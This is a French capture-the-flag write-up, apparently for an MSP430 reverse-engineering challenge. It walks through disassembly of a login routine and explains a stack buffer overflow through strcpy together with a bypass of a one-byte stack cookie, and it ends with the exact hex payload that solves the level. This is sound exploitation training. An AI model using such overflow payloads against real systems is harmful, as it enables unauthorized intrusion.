Cette partie intéressante du code se situe dans la fonction login
:
4546: 3e40 3f00 mov #0x3f, r14 454a: 3f40 0024 mov #0x2400, r15 454e: b012 e845 call #0x45e8 <getsn> 4552: 3e40 0024 mov #0x2400, r14 4556: 0f41 mov sp, r15 4558: b012 2446 call #0x4624 <strcpy> 455c: 0f41 mov sp, r15 455e: b012 5244 call #0x4452 <test_password_valid>
La fonction test_password_valid
vaide le mot de passe en appelant l'interruption 0x7D
qui d'après le manuel fourni utilise un périphérique qui contient le mot de passe valide.
La seconde piste réside dans la fonction strcpy
, l'input utilisateur ayant une taille maximale de 0x3F octets est copié sur la stack dans un buffer de 0x12 octets. On a donc un buffer stack overflow.
Une protection est ajoutée, un stack cookie est ajoutée entre notre buffer et l'adresse de retour de la fonction :
452c <login> 452c: 3150 eeff add #0xffee, sp 4530: f140 4e00 1100 mov.b #0x4e, 0x11(sp)
Si celui ci n'a pas la bonne valeur à la fin de la fonction, alors le programme boucle et l'instruction ret
n'est pas appelée (donc pas de contrôle possible du programme).
4578: f190 4e00 1100 cmp.b #0x4e, 0x11(sp) 457e: 0624 jeq #0x458c <login+0x60> 4580: 3f40 ff44 mov #0x44ff "Invalid Password Length: password too long.", r15 4584: b012 f845 call #0x45f8 <puts> 4588: 3040 3c44 br #0x443c <__stop_progExec__> 458c: 3150 1200 add #0x12, sp 4590: 3041 ret
Pour contourner cette protection, il suffit de faire attention à bien écrire cette valeur lors de l'overflow.
Input pour valider : 414141414141414141414141414141414e4e4644